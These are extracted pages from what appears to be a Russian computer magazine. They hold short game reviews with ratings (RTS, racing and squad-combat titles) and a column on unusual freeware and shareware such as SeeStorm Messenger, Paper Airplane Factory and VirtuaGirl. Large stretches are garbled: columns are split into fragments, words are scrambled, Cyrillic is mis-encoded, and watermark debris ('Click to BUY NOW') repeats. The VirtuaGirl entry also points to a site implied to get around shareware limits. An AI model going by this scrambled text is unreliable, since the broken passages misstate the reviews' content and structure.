å èãðû ïî÷ |
|||
åíèé ïîñë |
|
|
||
лы, впечатл |
. И это несмотря на |
|||
ти не остается |
|
|
||
е супер-кары, прилич- |
||||
роскошны |
|
|
|
|
ную графику и обилие режимов |
|
|||
игры. Из серии «клево, но нена- |
||||
долго». |
|
|
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
Вторая Мировая: Стальной кулак |
|
RTS |
|
World War 3: Black Gold, Sudden Strike |
|
Reality Pump/Акелла |
|
-1000), 64(256), 3D |
|
P2-350(P3 |
|
LAN, Èíåò |
åñ- |
|
|
Игра в модном жанре тактич |
|
егии на модную тему |
|
кой страт |
òðåõ- |
. Модный |
|
второй мировой |
å |
мерный движок выдает модны |
ПРИГОВОР |
СРЕДНЕ |
|
lightning-эффекты вроде смены |
||
дня и ночи, теней и «правильных» |
||
|
|
åâ- |
фар, стыдливо скрывая устар |
||
. Камера выбирает |
||
шую графику |
|
|
модные ракурсы, не давая игроку |
||
åíèè. |
||
сосредоточиться на управл |
åé |
|
|
||
еский геймпл |
|
|
Модный тактич |
|
- |
ет баналь |
||
кампании прикрыва |
|
|
ность одиночных сценариев. |
|
|
Офигительно модная игра. |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
1 |
|
2 |
|
3 |
|
4 |
|
94 |
|
Ньюсы |
Феррум |
Inside |
PC_Zone |
Взлом |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
аспек |
|
|
|
потанкоулич |
|
|
|
è . |
|
|
||||||||||
|
|
|
|
|
кривой |
|
|
|
|
|
|
||||||||||
Серьез |
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
любителя |
||||
|
- |
- |
|
|
- |
|
недостатков |
|
интерфейс |
|
|
||||||||||
. |
|
|
|
|
|
|
|
|
|
|
|||||||||||
- |
|
|
|
ëÿ |
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
исторические . |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
è |
Шикарныеуродливые |
динамика, |
|
|
|
|
|
|||||||
фронт |
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
технических |
|
озвучка |
è |
âñå |
|
|
удобный |
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
æå |
|
|
|
|
|
Строго |
|||
.реализм |
|
Потрясающая сражениябои |
|
|
íå |
|
|
||||||||||||||
Восточный |
|
|
комичные графика |
|
|
Нослабая |
очень |
|
|
||||||||||||
|
|
â |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
AI,управление |
|||
1945 |
íûé |
тах пызорнаявыеныебольше: |
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
è |
. |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(!) |
- |
|
|
|||
|
|
|
|
|
|
|
|
|
com |
|
|
|
|
|
|
|
âè |
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Трехмерный |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ñ |
- |
||
|
|
|
|
|
|
|
|
|
. |
3D |
|
|
|
|
(!!) |
1941 |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
Software/Battlefront3 |
|
|
|
|
|
|
|
третьего |
||||
|
|
|
|
Berlin |
|
|
|
|
64(128), |
|
|
|
|
походовыйлица!!! |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
какой! |
- |
|
||||||
|
|
Mission: |
|
|
|
|
Mission |
|
|
800), |
|
|
таймово |
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
íî |
|||||||||
|
|
CombatBarbarossa |
|
|
|
|
- |
|
|
|
|
|
|||||||||
|
|
|
|
Time450(P |
ИнетВаргейм,реалдом |
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
wargameCombat |
|
|
|
|
|
|
|
|
- îò |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Big P2 |
|
|
|
|
|
|
|
|
|||
|
|
Урожденная |
|
ЖанрПохожесть |
|
|
|
|
ГрупповухаОписуха |
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
Мать/отецТребует |
|
|
|
|
|
|
движок, |
|
|
стандартные |
- |
|
|
|
|
|
|
|
|
|
|||
машины, |
ôèçè |
- |
òåáÿ |
|
|
|
|
|
||||||||
|
|
|
|
стекла, |
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
çà |
|
|
|
|
|
|
|
|
устаревший |
|
|
задники, |
упрощенная |
возбуждают |
|
|
тронет |
|
|
|
|
||||
|
|
отрисованные |
|
|
|
|
|
|
ветровые |
|
. |
|
|
|
||
|
|
|
|
èãðû, |
òåáÿ |
|
ничего |
|
|
|
|
|||||
особенного: плохо |
картонные режимы |
íå |
ляпанные |
|
íå |
|
|
|
|
|||||||
êà |
|
|
здесь |
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
Åñëè |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
простень в |
Ничего |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
сляко |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
ñ |
|
|
|
|
|
|
|
|
|
Games/Infogrames |
|
3D |
|
|
|
|
грязи |
пикселизованной |
|
|
|
|
|
|
|
|
3 |
|
|
|
|
гонки |
|
|
|||
|
|
|
|
|
|
|
|
64(128), |
|
|
è |
|
. |
|
||
2 |
|
|
Racing |
|
|
- |
|
|
старенькая |
|
|
стекле |
|
|||
Racing |
|
|
|
|
|
|
800), |
|
|
|
|
ïðî |
|
лобовом |
СЛАБО |
|
Track |
|
|
|
|
|
|
400(P |
Èíåò |
|
|
игрушка |
|
||||
Dirt |
гонки |
Dirt |
Ratbag |
P2 |
LAN, Довольно кая |
пятнами ти |
|
|||||||||
|
|
|
Track |
|
|
|
|
|
|
|
|
|
|
íà |
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
||
Урожденная |
Æàíð |
Похожесть |
Ìàòü/îòåö |
Требует |
Групповуха Описуха |
|
|
|
ПРИГОВОР |
СРЕДНЕ ПРИГОВОР
5 Юниксоид 6 Х-Стиль 7 Кодинг
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
|
P |
|
|
|
|
|
NOW! |
o |
Юниты |
|
|||
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
to |
BUY |
|
|
|
||||||
|
|
|
|
|
|
|
|
||||||
w Click |
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
o |
m |
|
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
|
-xcha |
|
|
|
|
|
|
ÇÀË ÑÓÄÀ
Александр `2poisonS` Сидоровский
<2poisonS@real.xakep.ru>
Урожденная
Жанр Похожесть Мать/отец Требует Групповуха Описуха
Код Доступа: РАЙ |
|
|
(Paradise Cracked) |
|
|
Squad based combat |
|
X-Com |
Incubation, Jagged Alliance 2, |
||
MiST Land/Buka Entertainment |
||
-1000), 128(256), |
3D |
|
P3-600(P3 |
|
|
Обломись |
|
|
Неплохая идея и посредственная |
||
. Походовая тактика, |
||
реализация |
|
- |
где дело происходит |
в кибер |
|
|
|
ПРИГОВОР |
СРЕДНЕ |
|
|
. Главный |
||||
панковском |
будущем |
|
áû |
||
. Âñå |
|||||
|
|||||
герой, кстати – хакер |
|
|
|
||
ничего, если бы не кривой |
|
|
|||
геймплей (походовый |
режим |
|
|||
включается |
не только во время |
||||
|
|
|
ïî- |
||
боя, как в JA2, он действует |
|||||
è |
|||||
стоянно), куча мелких багов |
|||||
|
|||||
|
. Играть можно, |
||||
слабая графика |
|
íî íå |
|||
местами даже интересно, |
|||||
|
|
||||
более того. |
|
|
|
Урожденная Жанр Похожесть Мать/отец
Требует Групповуха Описуха
Age of Mythology |
|
RTS |
|
Age of Empires 1-2, Empire Earth |
|
Ensemble Studios/ |
|
Microsoft Game Studios |
|
P2-450(P3-1000), 128(256), 3D |
|
LAN, Èíåò |
сиквел к Age of |
Полуофициальный |
|
Empires. Мы управляем тремя ра- |
|
сами: Греками, Египтянами и Ви- |
ПРИГОВОР |
ÐÓËÅ(Ç)! |
|
кингами, каждая из которых щедро
снабжена собственной мифологией и религией. На поле боя с нами
выйдут мифические существа (гидры, циклопы и др.). А сверху подкинут несколько суперэффектов
ака заклинаний боги соответствующего пантеона. Геймплей почти не отличается от AoE, а вот графика
действительно рулит.
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
Speed Challenge |
ìî- |
|
аркадные гонки |
ремонтироваться прямо на |
|
трассе, в запредельной физике |
||
Jeff Gordon XS Racing |
||
управления (повороты здесь та- |
||
Ubi Soft Canada/Ubi Soft |
||
кие, что поначалу никак не мо- |
||
P2-300(P3- |
||
жешь привыкнуть, что машина в |
||
1000), 64(128), 3D |
||
LAN, Èíåò |
принципе может в них вписывать- |
|
Обычные гонки типа F1, только |
||
ся) и... пожалуй, все. Некоторое |
||
на машинах «недалекого будуще- |
||
разнообразие вносят экзотичес- |
||
го». Их футуристичность заключа- |
кие локейшены треков. Доброт- |
|
ется в умении автоматически са- |
ный середняк. |
ПРИГОВОР |
СРЕДНЕ |
|
Урожденная
Жанр Похожесть Мать/отец Требует Групповуха Описуха
The Lord of the Rings: The Fellowship of the Ring action/adventure Harry Potter Surreal Software/Black Label Games P2-400(P3-700), 128(256), 3D
Обломись Игра сделана не по мотивам фильма, а по мотивам книги, так что не ищи знакомый ленинский
ПРИГОВОР |
СРЕДНЕ |
прищур Гэндальфа или блондинистого пионервожатого Леголаса. Качество стандартное для подобной фэн-продукции: воспринимать это можно только как су-
венир, а не как серьезную игру. Сюжет частично повторяет книгу,
хотя не читавший вообще ни фига не поймет. Играть можно за Фродо, Гэндальфа или Арагонра.
Урожденная Жанр Похожесть Мать/отец
Требует Групповуха Описуха
Soldiers of Anarchy squad based combat
Starship Troopers, Commandos 2 Silver Style Entertainment/ Руссобит-М
P3-500(P3-1000), 128(256), 3D LAN, Èíåò
Постапокалиптическое будущее, заброшенная военная база в Сибири, родные до слез названия:
ПРИГОВОР |
ХОРОШО |
|
БТР, РПГ, Урал, ГАЗ. Команда из 10 узкопрофильных специалистов, роскошная трехмерная графика, элемент скрытности а ля Commandos – здесь есть все,
что только можно пожелать. Да, AI туповат, да, ролевые элементы выражены слабо... Пусть это
и не Великий Jagged Alliance, но все же...
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
1 |
|
2 |
|
3 |
|
4 |
|
96 |
|
Ньюсы |
Феррум |
Inside |
PC_Zone |
Взлом |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
NOW! |
r |
|
|
|
|
||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
w Click |
|
|
|
|
|
|
o |
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
|
||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Урожденная |
Battle Realms: Winter of the Wolf |
юнитов, новые снежные ланд- |
|
||
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
Æàíð |
RTS |
шафты. Среди свежих поступле- |
|
||
|
|
|
|
|
|
|
|
|
|
Похожесть |
Battle Realms, Warcraft 3 |
ний – женщины-бойцы, способ- |
|
||
|
|
|
|
|
|
|
|
|
|
Ìàòü/îòåö |
Liquid Entertainment/Ubi Soft |
ные отсасывать... энергию у за- |
|
||
|
|
|
|
|
|
|
|
|
|
Требует |
P2-450(P3-750), 128(256), 3D |
щитных сооружений противни- |
|
||
|
|
|
|
|
|
|
|
|
|
Групповуха |
LAN, Èíåò |
ка, а также Digger, перемещаю- |
|
||
|
|
|
|
|
|
|
|
|
|
Описуха |
Добротная дополнялка: отлич- |
щийся под землей. Дизайн мис- |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
ная кампания с разнообразны- |
сий очень продуман, все в це- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ми и незаезженными заданиями |
лом вылизано и подчищено. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(12 миссий), 4 героя, 8 новых |
Recommended. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
ХОРОШО |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПРИГОВОР |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Урожденная
Жанр Похожесть Мать/отец Требует Групповуха Описуха
Medal of Honor: |
|
|
|
|
|
Allied Assault: Spearhead |
|
||||
FPS |
|
|
|
|
|
MoHAA, Return to Castle Wolfenstein |
|||||
EA Los Angeles/Electronic |
Arts |
||||
|
3D |
||||
-750), 128(256), |
|||||
P2-450(P3 |
|
|
|
|
|
LAN, Èíåò |
|
|
|
- |
|
|
|
|
|
||
Очень короткая и очень |
качествен |
||||
ная дополнялка |
к одному из луч- |
||||
. Продуманные, |
|||||
|
красивые, интересные |
миссии в |
|
||||
|
|
|
|
|
||
сингле проходятся |
на одном дыха- |
|||||
нии за вечер. 12 новых карт для |
|
|||||
|
|
|
|
|
- |
|
многопользовательской |
èãðû íà |
|
||||
|
|
â |
|
|||
много лучше, чем те, что были |
|
|||||
|
|
|||||
. Из новых фишек по- |
|
|||||
оригинале |
|
|
|
|
|
- |
нравилась возможность |
выгляды |
|||||
-за угла – перестрелки |
|
|
||||
âàòü èç |
|
|
|
|
|
- |
сразу становятся |
|
|
|
|
|
|
почти «киношны |
||||||
|
|
|
|
. |
|
|
ми». Словом, клево, но мало |
|
|
Урожденная
Жанр Похожесть Мать/отец Требует Групповуха Описуха
MechWarrior |
4: |
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
||||
Mercenaries |
|
|
роботов |
|
|
|
|
|||||
симулятор |
боевых |
|
|
|
|
|||||||
|
|
2: |
Mercenaries |
|
|
|||||||
MechWarrior |
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|||
Cyberlore |
Studios/Microsoft |
|
|
|||||||||
-500), 64(128), |
3D |
|||||||||||
|
||||||||||||
P2-300(P3 |
|
|
|
|
|
|
|
|
|
|
||
LAN, Èíåò |
|
|
|
|
|
|
|
|
|
- |
||
Гигантские |
боевые |
роботы |
полива |
|||||||||
|
|
|||||||||||
|
сгустками |
|||||||||||
ют друг друга цветными |
||||||||||||
|
|
|
- |
|||||||||
плазмы, |
осыпает |
ракетами |
è ðå |
|||||||||
|
||||||||||||
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
. От хардкорно |
|||||||||
шетит пулеметами |
|
|
|
|
третьего |
|
||||||||
го симулятора |
времен |
àð- |
||||||||||||
|
|
|
к красочной |
|||||||||||
«меха» мы пришли |
|
|||||||||||||
|
|
|
|
управлять |
||||||||||
êàäå, ãäå íàì íå äàþò |
||||||||||||||
|
|
- |
||||||||||||
руками |
роботов, |
где они взрыва |
||||||||||||
|
|
|
è ãäå âåñü |
|
||||||||||
ются как хлопушки |
- |
|||||||||||||
|
|
|
|
|
||||||||||
геймплей |
сводится |
к пустой |
ïåðå |
|||||||||||
äàâ- |
||||||||||||||
|
|
|
двухлетней |
|||||||||||
|
. |
Движок |
|
|
||||||||||
стрелке |
|
|
|
|
|
|
|
. Жалкая тень |
||||||
ности не впечатляет |
|
|
|
|
||||||||||
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
великой |
èãðû |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
ПРИГОВОР |
СРЕДНЕ |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
5 Юниксоид 6 Х-Стиль 7 Кодинг 8 Юниты 9 Quit> 97
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
w |
|
|
to |
|
|
|
|
o |
Юниты |
||
P |
|
|
|
|
|
NOW! |
|
|
|
||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
o |
m |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
ØàðîWAREZ
M.J.Ash (www.xknows.com, m.j.ash@real.xakep.ru)
Приближаются затяжные новогодние праздники. С 1 по 13 января будут работать только самые невезучие. А раз так, то и ШароWAREZ этого номера я решил сделать исключительно развлекательными. Для этого я припомнил все программы, которые когда-либо юзал, и набросал 14 самых необычных программ всех времен и народов». А потом мы с ребятами выложили их на CD! Учитывая, как много весят некоторые из описываемых ниже прог, я думаю, ты это оценишь :).
SeeStorm Messenger v 1.1
Windows 9x/Me/NT/2k/XP
Size: 2824 Kb
Freeware
http://ssm.seestorm.com
Программа для визуального и голосового общения. Для нормальной работы достаточно микрофона и доступа в Сеть. Веб-камера, как это ни странно, не требуется. К слову сказать, в этом и заключается главное достоинство SeeStorm Messenger’а: через инет передаются только аудиоданные (имеется мощная система изменения голоса), а вместо изображения собеседника пользователь видит синтезированный трехмерный образ. Оригинально, не правда ли? С одной стороны, даже по коммутируемой линии можно устраивать почти настоящие видеоконференции, а с другой - вместо твоей небритой физиономии на твоего друга с экрана смотрит качественно анимированное изображение Санта Клауса, В.В. Путина или Джорджа Буша.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||
|
|
X |
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
|
||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Paper Airplane
Factory v 1.1
Windows 9x/Me/NT/2k/XP
Size: 1015 Kb
Shareware
http://www.littlebitsmultimedia.com
Под названием Paper Airplane Factory скрывается система автоматизированного проектирования... бумажных самолетиков! Я серьезно! Эта прога занимается тем, что, руководствуясь твоими пожеланиями (тип самолетика, форма хвоста и крыльев, размеры
èт.д.), разрабатывает чертеж бумажной заготовки самолета и распечатывает его на принтере. При этом помимо линий разметки Paper Airplane Factory наносит на лист бумаги заданную раскраску боевой машины, ее название, выбранные эмблемы и имя пилота.
Для тех, кто в детстве предпочитал исключительно деревянные игрушки,
èкто не сможет разобраться в полученном чертеже, в программу встроен специальный мастер, доходчиво объясняющий, что, где, и в какую сторону нужно сгибать.
VirtuaGirl v2.16b
Windows 9x/Me/NT/2k/XP
Size: 2547 Kb
Shareware
http://www.virtuagirl.com
Несколько профессиональных стриптизерш по очереди демонстрируют себя в углу экрана. Когда они делают вид, что просто прогуливаются, смущенно потупив глазки, в это верится с трудом. Зато когда они начинают гладить себя по бедрам, задирая юбки - им хочется аплодировать стоя. Хотя в шароварной версии они больше дразнят, чем показывают. Но для того и расплодились по Рунету сайты вроде этого
(http://virtuagirl.narod.ru), чтобы столь неприятное обстоятельство не слишком травмировало нежную психику отечественного юзера. Примечание: на «движке» VirtuaGirl разработчиками из Totem Media была также сделана программа MP3dancer. Само собой, обе проги занимаются одним и тем же, т.е. выводят на экран крошечную фигуру человека. Но если в VirtuaGirl эта фигурка раздевается на Панели задач, то в MP3dancer’е - лихо отплясывает под твою любимую музыку.
Gene Pool v 2.0
Windows 9x/Me/NT/2k/XP
Size: 377 Kb
Freeware
http://www.ventrella.com
Симулятор искусственной жизни, позволяющий наблюдать за популяцией странного вида организмов и влиять на ход их развития. Эти организмы условно называются swimbot’ами. Несмотря на столь странное название, образ жизни этих существ неза-
мысловат. Как и некоторые мои знакомые, swimbot’ы проводят все свое свободное время в поисках пищи и сексуальных партнеров. Правда, в мире Gene Pool конкуренция малость пожестче: если swimbot не хочет рано умереть бездетным от голода, он должен или уметь быстро плавать, или выглядеть чертовски привлекательно для других особей... Следующее поколение swimbot’ов наследует гены победителей, конкуренция обостряется, а неожиданные мутации еще быстрее раскручивают колесо эволюции...
Vital Desktop v 1.4
Windows 9x/Me/NT/2k/XP
Size: 105 Kb
Freeware
http://www.vital-desktop.com
Общая проблема всех скринсейверов заключается в том, что они работают тогда, когда пользователь отдыхает. А поскольку мало кто отдыхает, сидя за компьютером, то выходит, что в большинстве случаев скринсейверы работают впустую - любоваться картинками, которые они старательно выводят на экран, просто некому. Программа Vital Desktop исправляет это недоразумение. Она позволяет использовать хранителей экрана в качестве... оригиналь-
ных динамических обоев. В меню «Свойства: Экран» появляется дополнительная вкладка Vital Desktop, в которой можно настроить параметры запуска проги, выбрать интересующий тебя скринсейвер и сконфигурировать его. Обрати внимание: если ты отметил скринсейвер, но область предварительного просмотра осталось темной, зна- чит, в фоновом режиме работать он скорей всего не будет. Впрочем, большинство ка- чественно написанных хранителей экрана с Vital Desktop вполне совместимы.
98